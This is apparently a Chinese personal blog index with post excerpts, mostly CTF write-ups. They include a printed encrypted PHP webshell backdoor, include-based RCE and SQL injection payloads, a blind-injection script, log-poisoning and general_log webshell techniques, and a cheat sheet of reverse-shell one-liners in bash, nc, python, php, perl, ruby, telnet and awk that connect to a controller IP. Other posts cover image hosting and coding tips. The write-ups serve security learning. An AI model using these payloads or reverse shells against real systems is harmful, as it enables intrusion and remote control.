首页
CTF
软件
干货
生活
避坑
关于
统计
Search
1
MD5扩展攻击
442 阅读
2
白嫖BackBlaze10G存储,无限流量的图床
356 阅读
3
Typora最新破解版
331 阅读
4
解决各文库不让复制的问题
282 阅读
5
MYSQL堆叠注入操作汇总
258 阅读
Search
标签搜索
mysql
python
MD5
rce
图床
HASH
哈希扩展攻击
md
markdown
typora
命令注入
堆叠注入
JavaScript
shell
cloudflare
微信小程序
CTF
include
反序列化
爬虫
Eson
累计撰写
19
篇文章
累计收到
4
条评论
首页
栏目
CTF
软件
干货
VulnHub
生活
避坑
页面
关于
统计
搜索到
19
篇与
的结果
2024-10-26
2024网鼎杯模拟赛第二次WEB03
这个题怎么说呢,很难评,涉及的知识点不多,就是需要有足够足够的耐心!打开题目,一看就是有网站备份。dirsearch扫描一下,发现有各种后缀的备份包,但是基本上包的内容都是一样的,可能是担心大家使用的扫描工具不同,怕扫描不到。解压后,你会发现。没错,698个文件,第一反应就是D盾来扫一下。这里懒得截图了,直接说,就是啥都扫描不出来。然后放到Notepad++里面批量查询了 $_GET $_POST $_FILE $_REQUEST 等,均没有可利用的点。然后因为是模拟赛,当时是没耐心一个一个看的,后来群里小伙伴说发现端倪了。describedssTest.php这个文件里面有AES加密函数。<?php error_reporting(0); header('Content-type: text/html; charset=utf-8'); $p8='3b7430adaed18facca7b799229138b7b'; $a8='TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0='; $d8='TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09'; $v8='0329647546905494'; function e($D,$K){ $cipher='aes-128-cbc'; $encrypted=openssl_encrypt($D,$cipher,$K,0,$GLOBALS['v8']); $result=base64_encode($GLOBALS['v8'].$encrypted); $result=base64_encode($result); return $result; } function d($D, $K){ $cipher='aes-128-cbc'; $decodedData=base64_decode(base64_decode($D)); $encryptedData=substr($decodedData, openssl_cipher_iv_length($cipher)); $decrypted=openssl_decrypt($encryptedData,$cipher,$K,0,$GLOBALS['v8']); return $decrypted; } $a8=trim(d($a8,$p8)); ob_start(); $a8(trim(d($d8,$p8))); $O=ob_get_contents(); ob_end_clean(); echo e($O,$p8);这里面的 $a8=trim(d($a8,$p8)); 以及trim(d($d8,$p8)) 非常可疑,我们把它输出出来。assert@eval("if(md5(@\$_GET['id'])===\$p8){@eval(trim(d(\$_POST['d'],\$p8)));}")那么问题来了, $p8 的md5前的值是啥?几个平台都试了,就是需要付费,后来群里有小伙伴据说是花了十块钱,于是得到04c50eb4bc04c76311d03550ee2c1b71据说是 20241026 两次md5得到的$p8 ,懒得验证。得到了就行。那么第一段payload就出来了describedssTest.php?id=04c50eb4bc04c76311d03550ee2c1b71接下来就很简单了,构造语句$r = "system('cat /flag.txt');"; // 这里说一下,ls / 后发现的 echo trim(e($r,$p8));然后POST传参,再把返回的值进行一次 d 函数的解密就行了。这题!很难评!!!
2024年10月26日
71 阅读
0 评论
1 点赞
2024-10-18
2024年NSSCTF秋季招新赛中的一次代码审计(详细解题思路)
这个题做完以后第一时间就和好友分享,因为在这道题上走的弯路太多了,中途一度想要放弃,最后整理思路,一点一点代码审计解出来,那种喜悦还是比较大的。但是回顾起来,如果刨除了弯路,这道题其实并不难,就是简单的代码审计。打开题目,一个注册按钮,一个查看已注册信息的按钮常规思路,先注册一下注册成功之后,跳转到注册信息的页面,说实话看到这个页面,第一个想法真的是SSRF,你就说你的想法是不是吧?但也是这个想法坑了我好久好久这里先不谈弯路部分,因为首页有两个按钮,咱们先看看另外一个按钮的作用。点进去后可以看到就是以用户名为信息显示的,看上面一张图的路径,可能大家第一反应是文件包含,但是说实话,我的第一反应莫名其妙的就是序列化,可能当时感觉既然选择了读取txt,那么存放数据大概率会以序列化的形式吧,后面也印证了这点。中间有过错误思路SSRF部分,也尝试了dict、PHP、data等协议,发现可用的就是file协议走到这里的时候,相信你和我的感觉一样,这把稳了。但是尝试读取/flag的时候,发现提示文件不存在,后来发现实际上是有这个文件的。然后开始各种尝试flag文件名,又浪费了好久好久。。。最后痛定思痛,既然file可以读取文件,而已知探测出的是nginx(这个不用聊了吧?)那么 /var/www/html 下面的 index.php 是要看一看的,再加上之前涉及的save_user.php、submit.php、show_blog.php 都要看一看,于是开启了代码审计之旅。但是在代码审计上也踩了很多坑,事后想想,其实可以直接排除的,比如submit.php中的file_put_content,我在这个上面也下了很多功夫。排除万难之后,终于找到了show_blog.php中的这段。if (isset($_GET['file'])) { $filename = basename($_GET['file']); $filepath = 'data/user_profiles/' . $filename; if (file_exists($filepath)) { ob_start(); include $filepath; $fileContent = ob_get_clean(); preg_match('/Username: (.*)/', $fileContent, $usernameMatch); preg_match('/Blog: (.*)/', $fileContent, $blogMatch); $username = isset($usernameMatch[1]) ? htmlspecialchars($usernameMatch[1]) : 'Unknown User'; $blogUrl = isset($blogMatch[1]) ? htmlspecialchars($blogMatch[1]) : ''; $content = ""; $content .= <<<EOD这个include ,激动不激动?再加上我们之前的线索发现,data/user_profiles/ 下以用户名为文件名保存的txt文档里面其实就存放了用户名和blog,如下图那么我们在访问show_blog.php的时候,一定会加载我们填写的blog里面的内容,既然是include,那么只要有php标签一定会被解析。于是,开始构造payloadhttps://www.baidu.com/<?=passthru('ls${IFS}>a.txt');?>//看到这个PAYLOAD你肯定很奇怪,因为代码审计里面还有一些细节,我就不赘述了,比如下图构造完以后,我们需要访问一下show_blog.php?file=admin.txt ,好让它执行一下。然后去访问网站根目录下a.txt,就发现了一个令人开心的东西!于是构造最终payloadhttps://www.baidu.com/<?=passthru('/var/www/html/readflag.sh${IFS}>a.txt');?>//记录此文主要是提醒自己,其实有些坑仔细想想根本不用踩,一道简单题生生被自己做成了难题。
2024年10月18日
88 阅读
0 评论
1 点赞
2024-08-13
突破限制,白嫖任意图床!
之前白嫖微博当图床,后来经历几次封堵,于是网上一众大佬终于开始转变思路,开始寻找第三方跳转接口了,原理就是让第三方接口去读取这个图片,然后再转发过来,这样就成功的避开了封堵。
2024年08月13日
36 阅读
0 评论
2 点赞
2024-08-06
网络链路监控脚本
各类网管系统大多只能对核心路由器的设备情况进行实时监控,但是路由出去的链路如果出现问题可能网管系统不能发现,尤其是设置了主备双路由的情况下,如果备路由的链路出现问题,就更难发现了。
2024年08月06日
80 阅读
0 评论
3 点赞
2024-08-06
夸克网盘链接检测脚本
为了写一个夸克网盘批量检测链接是否失效的脚本,之前的思路一直都是`requests`读取源代码,然后判断关键字,后来发现网页里面调用了大量JS,于是使用`requests_html`读取解析js后的页面,但是还是不行,于是有了下文
2024年08月06日
95 阅读
0 评论
4 点赞
2024-04-25
MYSQL盲注,排序判断,CTFshow web1
题目https://ctf.show/challenges#CTFshow%20web1-104 解题思路进入题目可以看到是一个登录界面,还有注册按钮,下意识的尝试了各种注入,结果都不行,虽然中间也有报错,但是无法往下走,于是dirsearch走一波,发现存在 www.zip 网站备份文件,下载下来一看,瞬间傻眼!这个过滤写的真是绝了。# reg.php error_reporting(0); $con = mysqli_connect("localhost","root","root","web15"); if (!$con) { die('Could not connect: ' . mysqli_error()); } $username=$_POST['username']; $password=$_POST['password']; $email=$_POST['email']; $nickname=$_POST['nickname']; if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username)){ die("error"); } if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$password)){ die("error"); } if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}\]|\'|\’|\“|\"|\<|\>|\?/i",$email)){ die("error"); } if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$nickname)){ die("error"); } if(isset($username) && isset($password) && isset($email) && isset($nickname)){ $sql = "INSERT INTO user (uname, pwd, email,nname) VALUES ('$username', '$password', '$email','$nickname')"; $res=mysqli_query($con, $sql); if ($res) { $_SESSION["login"] = true; header("location:/index.php"); } } mysqli_close($conn);尝试正常注册一个账号,登录进去发现,里面有一个flag用户,并且提示flag_is_my_password 于是改变思路,这时看到登录进去的信息页面代码,发现这么一句。$sql="select * from user order by $order";于是就想,可不可以按照password进行排序,那这么就可以对password进行对比判断了,基本也就等于盲注了。于是,开始构造脚本。import requests url = "https://93545584-20e7-44a5-a3fe-d2e0c8dd1240.challenge.ctf.show" register = url + "/reg.php" login = url + "/login.php" member = url + "/user_main.php?order=pwd" payload = '' flag = '' for i in range(1, 100): for j in range(32, 128): payload = flag + chr(j) register_data = { 'username': payload, 'password': payload, 'email': '1', 'nickname': '1' } login_data = { 'username': payload, 'password': payload } r = requests.session() r.post(register, data=register_data) r.post(login, login_data) tmp = r.get(member).text if tmp.find('<td>flag@ctf.show</td>') < tmp.find(f"<td>{payload}</td>"): flag += chr(j-1) payload = flag print(payload) break
2024年04月25日
144 阅读
0 评论
2 点赞
2024-04-23
MYSQL注入,虚拟表绕过
题目https://ctf.show/challenges#web10-17 # 代码$flag=""; function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if (!$con) { die('Could not connect: ' . mysqli_error()); } if(strlen($username)!=strlen(replaceSpecialChar($username))){ die("sql inject error"); } if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); } $sql="select * from user where username = '$username'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ if($password==$row['password']){ echo "登陆成功<br>"; echo $flag; } } }思路通过过滤得知,or = 没有被屏蔽,于是尝试构造payload admin'/**/or/**/1=1%23,但是无果,通过搜索学到一个新知识点,这里先把payload放出来,接下来再去分析。password=&username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup%23知识点group by 就不用多介绍了,就是对查询结果分组排序,那么with rollup是什么呢?它是对分组后的结果进行聚合求和,在最后一行生成求和的数据。但是如果当前列是字符串无法求和的话,求和结果就会变成NULL。咱们看一下测试:首先对测试表进行分数求和的写法 然后是在这个的基础上,求出学生的总分数的写法。 可以看出,会在最后一行生成数据,对无法求和的列对应生成为NULL那咱们回到题目username=admin' or 1=1 group by password with rollup这一行语句等于是生成了聚合求和的行,并且把这一行里对应的NULL赋值给了username,那么这一行里面的password对应的也是NULL,所以同时传参password=就可以登录成功了。
2024年04月23日
129 阅读
0 评论
2 点赞
2024-04-22
requests_html模块无法下载chromium的问题
前言今天无意中发现的requests是无法解析js执行后的结果的,只能把源码中的js代码给返回过来,而刚好需要读取一个网页的js执行后的结果,于是发现了requests_html这个模块,但是按照示例代码执行后就一直报错,后来才发现它是基于Chromiun处理的,而模块自身下载Chromium在国内环境中是失效的。使用示例import requests_html url = "https://www.baidu.com" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" } session = requests_html.HTMLSession() req = session.get(url, headers=headers) req.encoding = "utf-8" req.html.render() get_html = req.html.html print(get_html)思路既然模块自身不能下载,那我们只能自己动手下载了,于是乎开始各种搜索,终于找到一个比较好用的下载镜像。https://registry.npmmirror.com/binary.html?path=chromium-browser-snapshots 再接下来就是放置路径的问题了。进入python安装目录下的\Lib\site-packages\pyppeteer目录,然后打开chromium_downloader.py文件找到代码:chromiumExecutable = { 'linux': DOWNLOADS_FOLDER / REVISION / 'chrome-linux' / 'chrome', 'mac': (DOWNLOADS_FOLDER / REVISION / 'chrome-mac' / 'Chromium.app' / 'Contents' / 'MacOS' / 'Chromium'), 'win32': DOWNLOADS_FOLDER / REVISION / 'chrome-win32' / 'chrome.exe', 'win64': DOWNLOADS_FOLDER / REVISION / 'chrome-win32' / 'chrome.exe', }这里调用了 DOWNLOADS_FOLDER 和 REVISION,那我们继续往下找,终于找到了DOWNLOADS_FOLDER = Path(__pyppeteer_home__) / 'local-chromium' DEFAULT_DOWNLOAD_HOST = 'https://storage.googleapis.com' DOWNLOAD_HOST = os.environ.get('PYPPETEER_DOWNLOAD_HOST', DEFAULT_DOWNLOAD_HOST) BASE_URL = f'{DOWNLOAD_HOST}/chromium-browser-snapshots' REVISION = os.environ.get('PYPPETEER_CHROMIUM_REVISION', __chromium_revision__)我们在源代码的下方直接加入PRINT把路径打印出来。DOWNLOADS_FOLDER = Path(__pyppeteer_home__) / 'local-chromium' DEFAULT_DOWNLOAD_HOST = 'https://storage.googleapis.com' DOWNLOAD_HOST = os.environ.get('PYPPETEER_DOWNLOAD_HOST', DEFAULT_DOWNLOAD_HOST) BASE_URL = f'{DOWNLOAD_HOST}/chromium-browser-snapshots' REVISION = os.environ.get('PYPPETEER_CHROMIUM_REVISION', __chromium_revision__) print(DOWNLOADS_FOLDER) print(REVISION)此时我们再执行一下之前的脚本,就能得到路径了。C:\Users\eson\AppData\Local\pyppeteer\pyppeteer\local-chromium 1181205那么我们组合一下路径就可以得知C:\Users\eson\AppData\Local\pyppeteer\pyppeteer\local-chromium\1181205\chrome-win把下载好的Chromium放置在这个目录就可以了。总结这个问题是解决了,模块也正常使用了,但是我发现我遇到的问题远没这么简单,还需要继续往下进行JS逆向分析 ::(吐)
2024年04月22日
147 阅读
0 评论
5 点赞
2024-04-20
PHP原生类ERROR,绕过HASH判断,[极客大挑战 2020]Greatphp
看到MD5和SHA1,一开始以为是很简单的题目,第一反应就是数组绕过,BUT!看到下面的正则匹配我就知道事情没有那么简单!往下看,果然正则判断是否带有
2024年04月20日
146 阅读
0 评论
3 点赞
2024-04-18
Include日志利用,ctf.show_web4
题目<?php include($_GET['url']);?>解题流程检查COOKIE,发现没有任何东西尝试file协议读取/etc/passwd ,发现可以利用通过http间谍插件发现中间件为nginx尝试读取nginx日志文件/var/log/nginx/access.log发现可以读取到内容发现日志文件记录的有User-Agent的值,可以当做注入点动手!http间谍读取日志通过User-Agent注入修改User-Agent的值为一句话 <?php eval($_POST[0]);?>通过AntSword连接寻找flag通过图形界面并没有找到flag,于是通过命令行开始查找一下flag文件的位置find / -name "*flag*"读取flagcat /var/www/flag.txt总结nginx默认日志文件路径 /var/log/nginx/access.logapache默认日志文件路径 /var/log/httpd/access_logapache默认日志文件路径 /var/log/apache2/access.log
2024年04月18日
217 阅读
0 评论
4 点赞
2024-04-10
微信小程序,wxss设置背景图的坑!
wxss 和 css 还是有很多区别的,昨天我在wxcss设置了 background-image 背景图片,但是死活就是显示不出来,后来发现,wxss里面是不可以调用本地图片的,经过研究只能通过以下三种方法解决了!调用网络图片这种方法从最根本上解决了问题,但是如果没有自己的服务器来放置图片的话,这个方法就行不通了。.test { background-image: url('https://www.a.com/images/abc.png'); }图片转Base64这种方法简单粗暴,有一个弊端,就是如果你需要采用图片定位的话,可能无法成功定位,不过做小程序的话,这些都是可以变通的,现在做图片定位的也不多了,所以这个方法还是比较方便的。.test { background-image: url(data:image/png;base64,iVBORw0KGgoAAAAxxxxxxxxx); }采用image标签这种方法只能说是简单问题复杂化了,直接采用image标签加载图片,然后再多image标签做样式。<image src="/images/aaa.png"/></image>总结以上三种方法,个人比较建议采用第一种和第二种,主要是看个人选择,第一种没有服务器的话可以使用腾讯或者阿里的oss来存放图片,如果图片比较少,基本也没啥费用。
2024年04月10日
94 阅读
0 评论
2 点赞
2024-04-01
白嫖BackBlaze10G存储,无限流量的图床
Backblaze应该是在2015年的9月份,Backblaze推出了新的存储产品B2 Cloud Storage。在2018年4月,Backblaze宣布了云计算合作伙伴关系,它将直接将Backblaze的数据中心与其合作伙伴Packet和ServerCentral连接起来,为存储在B2 Cloud Storage中的数据提供高性能的云计算,而无需支付任何费用。用户永久免费10GB直链存储每天1GB下行流量每天下载请求2500次免费每天上传请求2500次免费基于CloudFlareCDN这里有一点很重要,它是基于CloudFlareCDN的,所以在速度方面还是有保障的,不过近期CloudFlare的速度也是很一般,但是合理的优化后还是可以的,也是越来越多的大陆站点接入了CloudFlare。无限流量Backblaze加入了CloudFlare的 带宽联盟( Bandwidth Alliance) Backblaze与CloudFlare之间的流量直接免费,也就是每天无限量下行流量,配上CloudFlare超长缓存,每天下载请求无限次免费。使用体验上传的文件会有三个URL,其中友好URL就是CloudFlare加速的链接,当然我们还可以自定义域名,这点需要在CloudFlare上面进行一个CNAME指向,这里就不多赘述了。开启CORSBackblaze的资源是默认不缓存的,需要我们手动开启CORS,设定文件缓存的生存周期,我们点击桶设定,然后输入{"cache-control":"max-age=86400000"}这个时间你自己把握,一般来说静态资源都不会轻易改动,所以我设置的比较长。然后点击CORS设置,选择:与所有HTTPS来源共享此存储桶中的所有内容有效性判断这里我放一张链接的图片,如果还可以访问就说明BackBlaze还可以正常白嫖,如果挂掉就自行分析吧!地址https://www.backblaze.com
2024年04月01日
356 阅读
2 评论
4 点赞
2024-03-30
反弹SHELL的各种利用姿势
反弹SHELL的原理远程系统(通常是我们自己的监听机,具备独立外网IP地址,或者是被控机可以直接访问的机器)监听一个TCP/UDP端口,本地系统(被控机)运行反弹shell,反弹shell会连接该端口,并接收远程系统发送的shell指令,执行之后再将指令的输出流转发给远程系统。bash反弹SHELL监听机通过netcat监听一个端口,例如我们这里监听7777端口nc -lvp 7777被控机通过bash连接监听机的端口bash -i 1> /dev/tcp/控制端ip/7777 0>&1 2>&1 NC反弹SHELL监听机监听一个端口nc -lvp 7777被控机通过netcat连接监听机被控端:nc 控制端ip 控制端端口 -e /bin/bash 2>&1>/dev/null &但是这里有一个问题,原生apt安装的netcat是不能添加-e参数的,需要我们自己上传二进制,我们可以利用下面的方法解决这个问题。监听机开两个监听,分别监听6666 和 7777 端口nc -lvp 6666 nc -lvp 7777被控端nc 控制端ip 6666 | /bin/bash | nc 控制端ip 7777python反弹SHELL控制端:nc -lvvp 端口 被控端:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("控制端ip",控制端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、&、'、"在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。PHP反弹SHELL控制端:nc -lvvp 端口 被控端:php -r '$sock=fsockopen("控制端ip",控制端端口);exec("/bin/bash -i <&3 >&3 2>&3");'perl反弹SHELL控制端:nc -lvvp 端口 被控端:perl -e 'use Socket;$i="控制端ip";$p=控制端端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'ruby反弹SHELL控制端:nc -lvvp 端口 被控端:ruby -r socket -e 'exit if fork;c=TCPSocket.new("控制端ip","控制端端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'telnet反弹SHELL控制端:nc -lvvp 端口 被控端:mknod backpipe p && telnet 控制端ip 控制端端口 0<backpipe | /bin/bash 1>backpipeawk反弹SHELL控制端:nc -lvvp 端口 被控端:awk 'BEGIN{s="/inet/tcp/0/控制端ip/控制端端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'
2024年03月30日
224 阅读
0 评论
1 点赞
2024-03-26
解决各文库不让复制的问题
原理各个文库限制用户前台复制,基本都是使用的javascript语句实现的,而文本内容是已经输出出来的,那么我们只需要禁用掉浏览器的javascript功能就可以解决这个问题。实现首先,我们按F12打开浏览器的控制台,然后点击设置然后再把 停用JavaScript 给勾选上就可以了。这个时候不要关闭控制台,复制完我们所需要的内容再关闭控制台,不然的话刚才的操作会随着控制台的关闭而失效。
2024年03月26日
282 阅读
0 评论
2 点赞
2024-03-23
MYSQL堆叠注入操作汇总
例题就以 [强网杯 2019]随便注 这道题来进行实验和汇总MYSQL堆叠注入的操作吧打开题目,我们随便输入个 1 进行查询此时可以正常查询,我们尝试猜测闭合标签为'进行测试此时发现闭合标签确实为'接下来尝试联合注入,通过order by 我们得知只有2列,接下啦使用union进行联合注入。我们发现题目屏蔽了select|update|delete|drop|insert|where|这些关键词,基本排除了联合注入、报错注入、盲注的可能性,为什么说基本排除,限制了select不应该就是完全限制死了这些注入的可能性吗?因为这些注入还有一些骚操作可以绕过select,不过不是我们这次研究的方向,这里我们直接尝试堆叠注入。接下来我们使用以下语句1'; handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;HandlerHANDLER 是一个比较低级的语句;具有自己的会话机制,且会话对象不由其他会话共享,且直到会话调用 HANDLER... CLOSE 或会话终止时才关闭。(因此想要调用handler语句,必须用handler ... open 先开启handler会话)HANDLER 语句提供了对表存储引擎接口的直接访问。所有形式的 HANDLER... READ 默认获取一行(如果有的话)handler tablename open; # 打开一个表 handler tablename read first; # 读取第一行内容 handler tablename read next; # 读取下一个内容 handler tablename close; # 关闭表PREPARE EXECUTEPREPARE准备一条sql语句EXECUTE执行一条sql语句1PREPARE aaa from concat('s','elect', ' * from `1919810931114514` '); #预编译一条语句,可以使用,进行关键字拼接 EXECUTE aaa;#执行预编译的语句SETSET预编译语句use supersqli; set @sql=concat('s','elect flag from `1919810931114514`'); PREPARE stmt1 FROM @sql; EXECUTE stmt1;RENAME更改表名以及字段属性rename table words to words1; rename table `1919810931114514` to words; alter table words change flag id varchar(100);另类写马注入题它不一定非得注入,写个一句话也能搞些事情。set global general_log=on; # 打开日志开关 set global general_log_file='/var/www/html/shell.php'; # 设置日志写入文件 select '<?php eval($_POST['a']) ?>'; # 操作一次一句话,让它写入日志然后访问shell.php,接下来为所欲为!
2024年03月23日
258 阅读
0 评论
0 点赞
1
2